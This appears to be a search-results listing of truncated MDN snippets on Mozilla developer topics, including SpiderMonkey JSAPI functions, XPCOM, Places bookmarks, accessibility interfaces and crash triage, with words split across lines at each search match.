reviously allocated by js_newruntime. see also mxr id search for js_destroyruntime js_newruntime ...
JS_DropExceptionState
destroys a jsexceptionstate object p
reviously created using js_saveexceptionstate. syntax void js_dropexceptionstate(jscontext *cx, jsexceptionstate *state); name type description cx jscontext * pointer to a js context from which to derive runtime information. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. state jsexceptionstate * pointer to the jsexceptionstate object to destroy. description this function destroys the specified jsexceptionstate object, unrooting as necessary any attached exception object and freeing the memory resources associated with the jsexceptionstate object. this object should p
reviously have been created using js_saveexceptionstate. see also mxr id search for js_dro...
JS_EnterCompartment
target jsobject * the object in a different compartment to be accessed. this implicitly identifies the compartment to be entered. description every jscontext has a current compartment. any access to an object in a different compartment must be bracketed by calling js_entercompartment and js_leavecompartment. on success, js_entercompartment returns a pointer to the p
reviously entered compartment. to return to that compartment, pass it to js_leavecompartment. js_entercompartment is infallible, so a null return value doesn't indicate failure. see also mxr id search for js_entercompartment js_leavecompartment jsautocompartment bug 786068 ...
JS_ExecuteScript
t should end up on the scripts's scope chain. objects in the vector should be ordered from inner to the outer scope. script js::handlescript the compiled script to execute. rval js::mutablehandlevalue out parameter. on success, rval receives the value from the last executed expression statement processed in the script. description js_executescript executes a p
reviously-compiled script, script. js::cloneandexecutescript handles a cross-compartment script. if the script is cross-compartment, it is cloned into the current compartment before executing. if the script executes successfully, rval receives the value from the last executed expression statement processed in the script, and js_executescript returns true. otherwise it returns false, and the value l...
JS_ExecuteScriptPart
te the script. this parameter is documented in detail at js_executescript. script jsscript * the compiled script to execute. part jsexecpart the part of script to execute. rval jsval * out parameter. on success, *rval receives the value from the last executed expression statement in the script. description js_executescriptpart executes part of a p
reviously compiled script, script. the part parameter must be either jsexec_prolog to execute the script prolog or jsexec_main to execute the main section of the script. if the script executes successfully, js_executescriptpart stores the value of the last-executed expression statement in the script in *rval and returns js_true. otherwise it returns js_false, and the value left in *rval is undefined.
JS_ExecuteScriptVersion
he variable object. otherwise obj is used. the this value is obj. script jsobject * the compiled script to execute. rval jsval * out parameter. on success, *rval receives the value from the last executed expression statement processed in the script. version jsversion version for the script. description js_executescript executes a p
reviously-compiled script, script. if the script executes successfully, *rval receives the value from the last executed expression statement processed in the script, and js_executescript returns true. otherwise it returns false, and the value left in *rval is unspecified. to execute a script that has not been compiled, use js::evaluate instead. see also js::compile js_executescript js::evalua...
JS_ForwardGetPropertyTo
js::mutablehandlevalue out parameter. on success, *vp receives the current value of the property, or undefined if no such property is found. description js_forwardgetpropertyto is the base implementation of js_getproperty, js_getucproperty, js_getpropertybyid etc, where onbehalfof is same to obj. onbehalfof is receiver in [[get]] internal method of proxy, defined in es2015 draft spec (
rev 29, 9.5.8). on success, these functions set *vp to the current value of the property, or undefined if obj has no such property, and return true. on an error or exception, these functions return false, and the value left in *vp is undefined. see also mxr id search for js_forwardgetpropertyto js_getproperty bug 698551 ...
JS_Init
once this method has succeeded, it is safe to call js_newruntime and other jsapi methods. this method must be called before any other jsapi method is used on any thread. once it has been used, it is safe to call any jsapi method, and it remains safe to do so until js_shutdown is correctly called. ...
JS_LeaveCompartment
s using jsautocompartment. leave a the compartment, returning to the compartment active before the corresponding js_entercompartment. syntax void js_leavecompartment(jscontext *cx, jscompartment *oldcompartment); name type description cx jscontext * the context in which to leave the compartment. oldcompartment jscompartment * value returned by p
revious call to js_entercompartment. description every jscontext has a current compartment. any access to an object in a different compartment must be bracketed by calls to js_entercompartment and js_leavecompartment. see also mxr id search for js_leavecompartment js_entercompartment jsautocompartment bug 786068 ...
JS_LeaveCrossCompartmentCall
1.8.1 js_leavecrosscompartmentcall has been removed in bug 786068. use js_leavecompartment instead. leave a the compartment, returning to the compartment active before the corresponding js_entercrosscompartmentcall. syntax void js_leavecrosscompartmentcall(jscrosscompartmentcall *call); name type description call jscrosscompartmentcall * value returned by p
revious call to js_entercrosscompartmentcall. description every jscontext has a current compartment. any access to an object in a different compartment must be bracketed by call js_entercrosscompartmentcall and js_leavecrosscompartmentcall. see also js_entercrosscompartmentcall js_entercompartment js_leavecompartment bug 786068 bug 563099 ...
JS_MaybeGC
name type description cx jscontext * the context in which to perform garbage collection, if needed. description js_maybegc tries to determine whether garbage collection in cx's runtime would free up enough memory to be worth the amount of time it would take. if so, it performs some garbage collection. calling js_maybegc when the application is idle can help p
revent garbage collection from happening at less convenient times. calling js_maybegc periodically when the application is busy, from a jsbranchcallback or jsoperationcallback added in spidermonkey 1.8, can keep memory usage down and improve performance. both are good practices. in both cases, frequent calls js_maybegc are safe and will not cause the application to spend a lot of time doing redundant...
JS_NewObject
utils.createobjectin() method. choosing a default prototype like many jsapi functions, js_newobject selects an appropriate prototype for the newly created object if you don't supply one yourself. if the new object's class (here, clasp) is a built-in class, then its associated prototype is used as the new object's prototype. otherwise, object.prototype is used as the new object's prototype. p
revious behaviour obsolete since jsapi 45 here's how the process works in detail: first, we must identify a global object. if the parent is non-null, we assume it is part of a scope chain, walk to the end of that chain, and use the global object we find there. if the parent is null, we use the global object at the end of the scope chain in which the context is currently executing. in other words, ...
JS_NextProperty
iterator. syntax bool js_nextproperty(jscontext *cx, js::handleobject iterobj, js::mutablehandleid idp); name type description cx jscontext * the js context in which to enumerate properties. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. iterobj js::handleobject the opaque iterator object returned by a p
revious call to js_newpropertyiterator. idp js::mutablehandleid out parameter. on success, *idp receives the name or index of the next property name; or jsid_void if there are no more enumerable properties to visit. description on success, js_nextproperty returns true, with *idp containing the id of the next enumerable own property to visit using iterobj, or jsid_void if there is...
JS_PopArguments
llocated by js_pusharguments. syntax void js_poparguments(jscontext *cx, void *mark); name type description cx jscontext * pointer to a js context from which to derive runtime information. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. mark void * pointer to a void * which holds the stack frame pointer p
reviously supplied by js_pusharguments. description js_poparguments frees the stack frame pointer p
reviously allocated by js_pusharguments and unroots the jsvals which have been associated with it (those returned by js_pusharguments as well). see also js_pusharguments js_convertvalue js_addargumentformatter js_convertarguments bug 542091 ...
JS_RestoreExceptionState
restores the exception state from a jsexceptionstate object p
reviously created using js_saveexceptionstate. syntax void js_restoreexceptionstate(jscontext *cx, jsexceptionstate *state); name type description cx jscontext * pointer to a js context from which to derive runtime information. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. state jsexceptionstate * pointer to the jsexceptionstate object to restore exception state from. description this function permits to restore any p
reviously saved exception state which was saved into a jsexceptionstate object created by the js_saveexceptionstate function. if any exception was pending when js_saveexceptionstate was called, the same exception will...
JS_SetArrayLength
to change the number of elements allocated for an array. if you set a shorter array length on an existing array, the elements that no longer fit in the array are destroyed. setting the number of array elements does not initialize those elements. to initialize an element call js_defineelement. if you call js_setarraylength on an existing array, and length is less than the highest index number for p
reviously defined elements, all elements greater than or equal to length are automatically deleted. on success, js_setarraylength returns true. otherwise it returns false. see also mxr id search for js_setarraylength js_defineelement js_deleteelement js_getarraylength js_getelement js_isarrayobject js_lookupelement js_newarrayobject js_setelement ...
JS_SetCheckObjectAccessCallback
llback, which is used as the fallback jsclass.checkaccess method for all classes that leave the checkaccess field null. this callback is also used to check access to the caller property of function objects (as, for example, when the javascript engine creates a stack trace) and to check access from scripts to properties with scripted getters or setters. js_setcheckobjectaccesscallback returns the p
revious check-object-access callback. mxr id search for js_setcheckobjectaccesscallback ...
JS_SetObjectPrincipalsFinder
r fop); name type description rt jsruntime * the runtime to configure. fop jsobjectprincipalsfinder the new object-principals-finder callback. description js_setobjectprincipalsfinder allows the application to set a callback that the javascript engine uses to obtain an object's principals. this callback is described in jsobjectprincipalsfinder. js_setobjectprincipalsfinder returns the p
revious object-principals-finder callback. mxr id search for js_setobjectprincipalsfinder ...
JS_SetPrincipalsTranscoder
jsprincipalstranscoder px); name type description rt jsruntime * the runtime to configure. px jsprincipalstranscoder the new principals transcoder. description js_setprincipalstranscoder sets a runtime-wide callback which the javascript engine uses to serialize and deserialize principals. this callback is described at jsprincipalstranscoder. js_setprincipalstranscoder returns the p
revious principals transcoder. mxr id search for js_setprincipalstranscoder ...
JS_SetProperty
efault setter to assign to v. description js_setproperty assigns the value v to the property name of the object obj. it behaves like the javascript expression obj[name] = v. js_setucproperty is the unicode version of the function. js_setpropertybyid is the same but takes a js::handleid for the property name. if obj is a proxy, the js_setproperty [[set]] internal method defined in es2015 (
rev 29 9.5.9) is performed. if obj is a native object with custom setgeneric op, the op is called with (cx, obj, id, &v, false)). otherwise, [[set]] internal method defined in es2015 (
rev 29 9.1.9) is performed. if the lookup found no property with the given name, or if it found that obj inherits such a property from a non-native object, then a new own property is added to obj, as described belo...
JS_SuspendRequest
bout thread safety and requests, see js_threadsafe. js_suspendrequest suspends any currently active requests associated with the context cx. this allows the runtime to perform garbage collection if needed and allows other threads to access objects that the calling thread had locked. the return value is the number of nested requests that were suspended. it may be 0. js_resumerequest resumes the p
reviously suspended requests. the savedepth argument must be the value returned by the matching js_suspendrequest call. if savedepth is nonzero and garbage collection is underway, js_resumerequest blocks until the garbage collector is done. jsapi 1.7 and earlier js_suspendrequest and js_resumerequest are available only in js_threadsafe builds. in spidermonkey 1.8 and later, these functions will be p...
JS_Unlock
obsolete since jsapi 12this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. unlock a p
reviously locked js run-time environment. syntax void js_unlock(jsruntime *rt); name type description rt jsruntime * pointer to the runtime to unlock. description js_unlock is a deprecated api; don't use it. mxr id search for js_unlock ...
JSAPI reference
ctprototype added in jsapi 17 js_getfunctionprototype added in spidermonkey 17 js_getarrayprototype added in spidermonkey 24 js_getconstructor js_getglobalforobject js_getinstanceprivate js_getprototype js_setprototype js_getprivate js_setprivate js_freezeobject added in spidermonkey 1.8.5 js_deepfreezeobject added in spidermonkey 1.8.5 js_isextensible added in spidermonkey 1.8.5 js_p
reventextensions added in spidermonkey 45 js_instanceof js_hasinstance js_isnative added in spidermonkey 17 js::toprimitiveadded in spidermonkey 45 js::newfunctionfromspecadded in spidermonkey 45 js_defaultvalueobsolete since jsapi 44 js_get_class obsolete since jsapi 13 js_sealobject obsolete since javascript 1.8.5 js_getparent obsolete since jsapi 39 js_setparent obsolete since jsapi 3...
SpiderMonkey 52
nnounce the release of spidermonkey 52. you can download full source code from treeherder, by going to the mozilla-esr52 repository and clicking on the first sm(pkg) link you see. that will open a small window in the bottom left with a line like "artifact uploaded:mozjs-52.x.y.tar.bz2". spidermonkey 52 is the javascript engine that shipped in firefox 52. it continues to improve performance over p
revious spidermonkey releases. it also contains new language and api features described in detail below. please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine newsgroup. or file bugs at bugzilla.mozilla.org under product: core, component: javascript engine. you may wish to make the bugs block bug 837921 (aliased as "sm.embedding"). platform suppo...
Thread Sanitizer
ent them. in our codebase, this is done using the moz_tsan_blacklist macro on the function definition. it will expand to the appropriate attributes if the compiler supports them. compile-time blacklisting is the preferred way of blacklisting, because it does not have a performance impact. still, blacklisting should be done very carefully so we won't miss important bugs. runtime suppressions to p
revent races from showing up at runtime, tsan also provides a runtime suppression list. this list is a good tool to temporarily hide some traces, especially for debugging purposes. however, unlike compile-time blacklisting, runtime suppressions do have a performance impact, especially if the race in question keeps showing up a lot. for more information on how to use the runtime suppression list, see ...
WebReplayRoadmap
for the firefox developer tools that are based on web replay, along with their ui. the low level, yet flexible architecture (described here) provides an extremely powerful platform for implementing debugging and analysis features. we would like to use web replay to radically improve not just the debugging experience but the entire web development experience. to that end, this document will be
revised over time as we find new and better ways of helping developers. time travel features more features are planned for the timeline, as described below. retroactive console logging console logging is one of the primary tools most developers use to debug a page. seeing messages in the console provides a simple and intuitive view into the order in which events have happened. without time trav...
compare-locales
n $app/locales/l10n.toml. the details of the configuration file are described in the l10n-config docs. you pass the path to the toml file and the parent dir of the localizations as first arguments, followed by the locale codes of the locales you want to compare. ...
The Rust programming language
rust is a new open-source systems programming language created by mozilla and a community of volunteers, designed to help developers create fast, secure applications which take full advantage of the powerful features of modern multi-core processors. it p
revents segmentation faults and guarantees thread safety, all with an easy-to-learn syntax. in addition, rust offers zero-cost abstractions, move semantics, guaranteed memory safety, threads with no data races, trait-based generics, pattern matching, type inference, and efficient c bindings, with a minimum runtime size. to learn more about rust, you can: watch the videos below for a closer look at the power and benefits rust provides. read the book the rust programming language online. download the rust compiler, check out examp...
Exploitable crashes
ogram to transfer control to a "random" part of memory that isn't part of the program. these crashes are almost always exploitable to run arbitrary code. look at the crash reason, which will usually be something like "kern_protection_failure (0x0002) at 0x00000000". this is typically located right above the stack trace. the last number, in this case 0x00000000, is the memory address firefox was p
revented from accessing. if the address is always zero (or close to zero, such as 0x0000001c), it's probably a null dereference bug. these bugs cause the browser to crash, but they do so in a predictable way, so they are not exploitable. most crashes fall into this category. check the length of the stack trace. if it's over 300 functions long, it's likely to be a too-much-recursion crash. like null ...
Signing Mozilla apps for Mac OS X
firefox and thunderbird releases are both signed before shipping; this article describes the process. signing mozilla apps without the signing server firefox and thunderbird are built using mozilla's release automation infrastructure. on mac os x, part of this infrastructure is automatic signing of the ".app" folder using apple's codesign tool. ...
Gecko states
ed state_focusable the object can be focused. applied to: events: concomitant state: state_focused state_selectable the object can be selected. applied to: events: concomitant state: state_selected state_linked indicates that the object is formatted as a hyperlink. the object role will usually be role_text_leaf. state_traversed the object is a hyperlink that has been visited (p
reviously clicked) by a user. state_multiselectable supports multiple selection state_extselectable supports extended selection state_required indicates that user interaction is required. state_important isn;t used. state_invalid indicates a validation failure. ext_state_supports_autocompletion for editable areas that have any kind of autocompletion ext_state_defunct object no longer...
XForms Accessibility
he wrote: navindex was in xforms - it was stripped out as it was believed the focus model was dependent on the content which used it. so, yes we don't care about navindex in xforms. if you use xhtml1.x use tabindex. if you use xhtml2 use nextfocus. therefore since mozilla xforms works in xhtml (1.x) or xul documents only then we use tabindex ins...
Accessibility API Implementation Details
xplains how makers of screen readers, voice dictation packages, onscreen keyboards, magnification software and other assitive technologies can support gecko-based software. we provide for them the support of these products on windows, linux/unix and os x platforms.at developmentthe accessibility of computer software has seen drastic improvements over the past two decades. this article (from 2007)
reviews the progress and technology as it has developed. xforms accessibilitythis article provides a quick guide to how accessibility is handled in gecko for xforms.xul accessibilitythis article shows how xul control elements are mapped to accessibility api. it is much in progress. ...
Embedded Dialog API
bably choose to implement the complete api as well. an embedding application must implement the nsiwindowcreator nsiwindowcreator interface and hand off a reference to the implementation to the windowcreator service during application initialization. an example of this can be found in the mfc embedding testbed application, in the method cmfcembedapp::initializewindowcreator (lxr link accurate at
revision 1.20 of that file; search for the method name in later
revisions). gecko uses nsiwindowcreator to create all new windows for which no explicit override (the advanced api) has been given, and for browser windows in general. the precise appearance and contents of the new window are defined by the application, though the app should conform to the chromeflags parameter of nsiwindowcreator::creat...
Frecency algorithm
the word "frecency" itself is a combination of the words "frequency" and "recency." the default frecency value for all valid entries is -1. places with this value can show up in autocomplete results. invalid places have a frecency value of zero, and will not show up in autocomplete results. examples of invalid places are "place:" queries, and unvisited livemark feed entries. ...
Manipulating bookmarks using Places
) method: var thistitle = bmsvc.getitemtitle(newbkmkid); this code will display an alert containing the title of the item referenced by the id newbkmkid. the item uri similarly, you can obtain the uri corresponding to a given bookmark item by calling the nsinavbookmarksservice.getbookmarkuri() method. var thisuri = bmsvc.getbookmarkuri(newbkmkid); assuming you've run all the code samples p
revious to this one, this will output "http://google.com". you can use the nsinavbookmarksservice.changebookmarkuri() method to update the uri for a given bookmark item: var uri = ios.newuri("http://mozilla.com/", null, null); bmsvc.changebookmarkuri(newbkmkid, uri); this example changes the bookmark to refer to the mozilla web site instead of google. note: all annotations, tags, and so forth ar...
Places Developer Guide
if you delete a bookmark, each tag is removed from it, deleted from the tag data collection. for example, if you delete all your bookmarks, all your tags will also be deleted. if you delete your places.sqlite file, all tags will be deleted (along with all history and bookmarks). annotations annotations provide a way...
Places Expiration
easonable (and performant) value. all of expiration uses the storage async api, that ensures i/o is in a separate thread, plus it won't block any read thanks to the use of the wal journaling system. common expiration runs on a timer, every 3 minutes and uses a simple adaptive algorithm: if the last step was unable to expire enough entries the next one will expire more entries, otherwise if the p
revious step completed the cleanup the next step will be delayed. this ensures expiration doesn't lag behind without hitting performances when there is no need for it. apart this periodic expiration, there are other steps on idle, on shutdown on clear history. on idle on idle it expires a larger chunk of pages, then timed expiration is stopped. this ensures to not interfere with standby tasks and ...
Querying Places
ager. other sortings will work, however. for bookmark queries you will generally want no query parameters to retrieve all items from the requested folder(s). when you specify exactly one folder and no query parameters, the system will be more efficient querying and keeping the results up-to-date since this maps to exactly one bookmark folder. // |query| and |options| are objects created in the p
revious section query.setparents([placesutils.bookmarks.toolbarguid], 1); let result = placesutils.history.executequery(query, options); serializing queries query and options objects can be serialized into a string starting with "place:" using queriestoquerystring. the resulting string can be stored or bookmarked. when a "place:" uri is bookmarked, it will expand to the results of the query when i...
Retrieving part of the bookmarks tree
istoryservice); var options = historyservice.getnewqueryoptions(); var query = historyservice.getnewquery(); find the folder you want to get known folder ids are retrieved from the bookmarks service. attributes defined in /toolkit/components/places/public/nsinavbookmarksservice.idl are: bookmarksmenufolder, tagsfolder, unfiledbookmarksfolder and toolbarfolder. you can also get folder ids from a p
revious query. this example will get the id of the bookmarks toolbar: var bookmarksservice = components.classes["@mozilla.org/browser/nav-bookmarks-service;1"] .getservice(components.interfaces.nsinavbookmarksservice); var toolbarfolder = bookmarksservice.toolbarfolder; the placesroot is the root folder in the whole places hierarchy. it contains administrative data a...
Using the Places keywords API
rl it's pointing to). each keyword can be associated with post data, in such a case a post action will be executed when the given url is selected from the awesomebar. different keywords can reference the same url, if their post data differ. keywords in firefox are currently created through the add keyword for this search contextual menu option in form text fields. note this is the same feature p
reviously known as bookmark keywords, the key difference is that keywords are not bound to a specific bookmark, but to a specific url. using the keywords api the keywords api is a promise-based api available through the placesutils module: components.utils.import("resource://gre/modules/xpcomutils.jsm"); xpcomutils.definelazymodulegetter(this, "placesutils", "resource://gre/modules/placesutils.jsm...
places.sqlite Database Troubleshooting
es.sqlite sqlite> pragma user_version; note the version number returned by the last pragma query. sqlite> .exit open a new shell for the new database: my_work_folder> sqlite3 places.sqlite sqlite> pragma integrity_check; if the result is not ok, the file cannot be recovered; stop here and please file a bug. let's fix the schema version. nn must be replaced with the number we had noted p
reviously: sqlite> pragma user_version = nn; let's update the page_size value: sqlite> pragma journal_mode = truncate; sqlite> pragma page_size = 32768; sqlite> vacuum; sqlite> pragma journal_mode = wal; sqlite> .exit copy the new places.sqlite to the profile folder, overwriting the existing one. remove the places.sqlite-corrupt file. launch firefox. if the database is still broken (missing h...
Making cross-thread calls using runnables
bad! // but thread->shutdown must be called from the main thread, not from the thread itself. mworkerthread->shutdown(); } private: picallback mcallback; nscstring mresult; nscomptr<nsithread> mworkerthread; }; class picalculatetask : public nsrunnable { public: picalculatetask(picallback callback, int digits) : mcallback(callback) , mdigits(digits) { } ns_im...
XPCOM guide
these articles provide tutorials and usage documentation for xpcom, including how to use it in your own projects and how to build xpcom components for your firefox add-ons and the like. avoiding leaks in javascript xpcom componentsprogrammers writing and
reviewing javascript code in mozilla should understand how code using xpcom in javascript can leak so that they can avoid leaks. this document attempts to help them do so, first by explaining the underlying concepts, and second by describing a number of common javascript patterns that cause leaks.creating xpcom componentsthis guide is about gecko, and about creating xpcom components for gecko-based applications.how to build an xpcom component in javascriptif you are looking for add-on sdk solution for xpcom javascript components...
Components.Constructor
it is equivalent to the following javascript function: function components_constructor(contractid, interfacename, initializer) { var ccargs = arguments; function ctor() { ...
Components.results
if(something_unexpected_happened) throw components.results.ns_error_unexpected; the elements of the components.results object can be enumerated using a for-in loop. usage implementing nsisupports the standard nsisupports is usually implemented in javascript by using components.results to get a failure return value if does not implement the given interface. note the common use of an abb
reviation for components.results, cr: const ci = components.interfaces, cr = components.results; function class() { /* ... */ } class.prototype = { /* ... */ queryinterface: function(id) { if (id.equals(ci.imyinterface)) return this; throw cr.ns_error_no_interface; } }; ...
Components.utils.evalInSandbox
note: it's not safe to use evalinsandbox() to evaluate json strings; instead, use the techniques discussed in the article on json. you can also find firefox 3.5 specific information in using json in firefox. use to use evalinsandbox(), you must first create a sandbox object using its constructor, components.utils.sandbox. in the constructor you define the security principal for code running in the sandbox, and can make various properties available to code running in the sandbox. ...
Components.utils.exportFunction
: "loguser" }); // less-privileged scope: for example, a page script function getuser() { return "bill"; } var test = document.getelementbyid("test"); test.addeventlistener("click", function() { window.loguser(getuser); }, false); cross-origin checking when the exported function is called each argument, including this, is checked to make sure that the caller subsumes that argument. this p
revents passing cross-origin objects (like window or location) to privileged functions, since the privileged code will have full access to those objects and might unintentionally do something dangerous. this provision can be overridden by passing { allowcrossoriginarguments: true } to exportfunction. example export to global scope this add-on script defines a function, then exports it to a content...
Components.utils.getWeakReference
been garbage collected yet. you might have to check other aspects of the object (like node.parentnode() on a dom node) to verify the object is truly what you want. syntax weakref = components.utils.getweakreference(obj); parameters obj the object for which to obtain a weak reference. note: in gecko 11.0, this method was changed to throw an exception if obj is null. in gecko 12.0, the p
revious behavior of silently failing has been restored. example in this example here, a weak reference to a window is held. and then later on it is matched in the array and used. var arr = []; arr.push(cu.getweakreference(window)); //now lets say this code runs in another block: for (var i=0; i<arr.length; i++) { if (arr[i].get() == window) { //found the window break; } } ...
Components.utils.unwaiveXrays
for example, if privileged code accesses a dom object belonging to web content, it will by default see it using xray vision, meaning that among other things expando properties added to the object by content are not visible. privileged code can waive xray vision using waivexrays, and it will then see expandos. it can then use unwaivexrays to restore its xray vision for the object. the waivexrays operation is transitive: it waives xrays not just for the given object, but for all properties of the object (and their properties, and so on). the unwaivexrays operation undoes the operation, so xray vision is restored transitively as well. ...
XPConnect wrappers
t. this case is where a js object was passed in via some idl-declared interface, creating an xpcwrappedjs, and is now being returned to javascript via some other interface. in order to preserve api compatibility, an xpcwrappednative is created around the xpcwrappedjs. security wrappers exposed to chrome to learn about security wrappers, see the article on script security in gecko. note that a p
revious version of the current page recommended using __exposedprops__ to expose objects from chrome to content. this is now deprecated and we are in the process of removing support for it. if you need to make objects or functions defined in chrome code accessible to content, use components.utils.cloneinto or components.utils.exportfunction. ...
NS_Realloc
asize [in] the size in bytes of the block to allocate, or zero if the given block is to be freed. ...
nsCStringEncoding
« xpcom api reference summary the nscstringencoding enumeration describes the set of character encodings understood by the ns_cstringtoutf16 and ns_utf16tocstring functions. ns_cstring_encoding_ascii conversion between ascii and utf-16 assumes that all bytes in the source string are 7-bit ascii and can be inflated to utf-16 by inserting null bytes.
reverse conversion is done by truncating every other byte. the conversion may result in loss and/or corruption of information if the strings do not strictly contain ascii data. ns_cstring_encoding_utf8 conversion between utf-8 and utf-16 is non-lossy. ns_cstring_encoding_native_filesystem conversion from utf-16 to the native filesystem charset may result in a loss of information. no attempt is made to protect against data loss in thi...
IAccessibleImage
implemented in certain situations. some examples are: the accessible name and description() are not enough to fully describe the image, for example when the accessible description() is used to define the behavior of an actionable image and the image itself conveys semantically significant information. the user can edit the content that includes an image and therefore the user needs to be able to
review the image's position. method overview [propget] hresult description([out] bstr description ); [propget] hresult imageposition([in] enum ia2coordinatetype coordinatetype, [out] long x, [out] long y ); [propget] hresult imagesize([out] long height, [out] long width ); methods description() returns the localized description of the image. [propget] hresult description( [out] bstr desc...
imgIDecoderObserver
s currently the only way to signal decoding errors to consumers, and the only decoding errors that consumers care about (indeed, the only ones that they're prepared to hear about) are failures to instantiate the decoder (<img src="foo.html"> for example). thus, currently this is just a companion to onstoprequest to signal success or failure. you probably want onstopcontainer instead. this will be
revisited in bug 505385. if you're thinking of doing something new with this, please talk to bholley first. void onstopdecode( in imgirequest arequest, in nsresult status, in wstring statusarg ); parameters arequest the request on which data is available, or null if being called for an imgidecoder object. status missing description statusarg missing description onstop...
imgILoader
areferreruri the 'referring' uri. aloadingprincipal the principal of the loading document. aloadgroup loadgroup to put the image load into. aobserver the observer (may be null) acx some random data. aloadflags load flags for the request. cachekey arequest a newly created, unused imgirequest object or null for one to be created for you. libpr0n does not keep a strong ref to the observer; this p
revents reference cycles. this means that callers of loadimage should make sure to cancel() the resulting request before the observer goes away. channelpolicy return value loadimagewithchannel() start the load and decode of an image. libpr0n does not keep a strong ref to the observer; this p
revents reference cycles. this means that callers of loadimagewithchannel should make sure to cancel() the r...
inIDOMUtils
parsestylesheet() parse css and update the style sheet in place. void parsestylesheet( in nsidomcssstylesheet asheet, in domstring ainput ); parameters asheet a domcssstylesheet. ainput a domstring. the new source string for the style sheet. return value void setcontentstate() sets the given element as the current owner of the specified state, and removes that state from the p
revious owner. void setcontentstate( in nsidomelement aelement, in unsigned long long astate ); parameters aelement the element to set the content state of. astate the content state to set. this must be one (and only one) of the values listed in content state flags. selectormatcheselement() checks if a given selector from a style rule matches an element. bool selectormatcheselement (...
mozIPersonalDictionary
e string. boolean check( in wstring word, in wstring lang ); parameters word the word to check. lang the language of the word. note that this parameter is currently ignored. return value true if the word is in either the dictionary or the ignore list, false if it is not in either list. endsession() clears the ignore list. void endsession(); parameters none. getcorrection() gets a list of p
revious corrections for the word. void getcorrection( in wstring word, [array, size_is(count)] out wstring words, out pruint32 count ); parameters word the word to get the list of corrections for. words the list of corrections. count the number of corrections in the list. ignoreword() adds a word to the ignore all list. void ignoreword( in wstring word ); parameters word the word to add ...
nsIAccessNode
for the dom node, which matches the number of nsiaccessnode children for this nsiaccessnode. read only. obsolete since gecko 2.0 ownerwindow voidptr the os window handle for the window this node is being displayed in. read only. native code only! obsolete since gecko 8.0 parentnode nsiaccessnode the parent nsiaccessnode. read only. obsolete since gecko 2.0 p
revioussiblingnode nsiaccessnode the p
revious nsiaccessnode sibling. read only. obsolete since gecko 2.0 rootdocument nsiaccessibledocument the root document accessible that this access node resides in. read only. uniqueid voidptr a unique id calculated for this dom node, for the purposes of caching and referencing this object. read only. native code only! ...
ChildCount
« nsiaccessible page summary number of accessible children. attribute long childcount; see also nsiaccessible.firstchild nsiaccessible.lastchild nsiaccessible.children nsiaccessible.getchildat() nsiaccessible.parent nsiaccessible.nextsibling nsiaccessible.p
revioussibling ...
Children
te nsiarray children; remark every child node in the array implements nsiaccessible interface. exceptions thrown ns_error_failure indicates that the accessible is unattached from the accessible tree. see also nsiaccessible.firstchild nsiaccessible.lastchild nsiaccessible.childcount nsiaccessible.getchildat() nsiaccessible.parent nsiaccessible.nextsibling nsiaccessible.p
revioussibling ...
FirstChild
« nsiaccessible page summary returns first child node in accessible tree. attribute nsiaccessible firstchild; exceptions thrown ns_error_failure indicates that the accessible is unattached from the accessible tree. see also nsiaccessible.lastchild nsiaccessible.children nsiaccessible.childcount nsiaccessible.getchildat() nsiaccessible.parent nsiaccessible.nextsibling nsiaccessible.p
revioussibling ...
GetChildAt
if child index is less than zero then returns last child. if child index is greater than children count then returns null. exceptions thrown ns_error_failure indicates that the accessible is unattached from the accessible tree. see also nsiaccessible.firstchild nsiaccessible.lastchild nsiaccessible.children nsiaccessible.childcount nsiaccessible.parent nsiaccessible.nextsibling nsiaccessible.p
revioussibling ...
LastChild
« nsiaccessible page summary returns last child node in accessible tree. attribute nsiaccessible lastchild; exceptions thrown ns_error_failure indicates that the accessible is unattached from the accessible tree. see also nsiaccessible.firstchild nsiaccessible.children nsiaccessible.childcount nsiaccessible.getchildat() nsiaccessible.parent nsiaccessible.nextsibling nsiaccessible.p
revioussibling ...
NextSibling
« nsiaccessible page summary returns next sibling in accessible tree. ...
Parent
« nsiaccessible page summary returns parent node in accessible tree. ...
nsIAccessibleStates
ct automatically announces information. currently unused. state_focusable 0x00100000 the object can be focused. state_selectable 0x00200000 the object can be selected. state_linked 0x00400000 the object is formatted as a hyperlink. the object role will usually be role_text_leaf. (see nsiaccessiblerole.constants). state_traversed 0x00800000 the object is a hyperlink that has been visited (p
reviously clicked) by a user. state_multiselectable 0x01000000 supports multiple selection. state_extselectable 0x02000000 supports extended selection. state_alert_low 0x04000000 this information is of low priority. state_alert_medium 0x08000000 this information is of medium priority. state_alert_high 0x10000000 this information is of high priority. state_protected 0x20000000 maps to gnom...
nsIAccessibleTable
se if the table is probably not for layout. isrowselected() return a boolean value indicating whether the specified row is selected, that is all cells within the row are selected. boolean isrowselected( in long rowindex ); parameters rowindex the row index. return value true if the row is selected, false if the row is not selected. selectcolumn() select a column and unselects all p
reviously selected columns. void selectcolumn( in long columnindex ); parameters columnindex the index of the column to select. selectrow() select a row and unselects all p
reviously selected rows. void selectrow( in long rowindex ); parameters rowindex the index of the row to select. unselectcolumn() unselect the given column, leaving other selected columns selected (if any). ...
nsIAccessibleTreeCache
d tree cell. invalidatecache() invalidates the number of cached treeitem accessibles. void invalidatecache( in long arow, in long acount ); parameters arow row index the invalidation starts from. acount the number of treeitem accessibles to invalidate, the number sign specifies whether rows have been inserted (plus) or removed (minus) treeviewchanged() invalidates children created for the p
revious tree view. void treeviewchanged(); parameters none. treeviewinvalidated() fires name change events for invalidated area of tree. void treeviewinvalidated( in long astartrow, in long aendrow, in long astartcol, in long aendcol ); parameters astartrow row index invalidation starts from. aendrow row index invalidation ends, -1 means the last row index. astartcol column index invalidat...
nsIAppShell
event is real or a null placeholder (macintosh). aevent void pointer to native event structure. exit() exit the handle event loop. void exit(); parameters none. favorperformancehint() give hint to native event queue notification mechanism. if the native platform needs to tradeoff performance vs. native event starvation this hint tells the native dispatch code which to favor. the default is to p
revent native event starvation. calls to this function may be nested. when the number of calls that pass pr_true is subtracted from the number of calls that pass pr_false is greater than 0, performance is given precedence over p
reventing event starvation. void favorperformancehint( in boolean favorperfoverstarvation, in unsigned long starvationdelay ); parameters favorperfoverstarvation true to...
nsIAppShellService
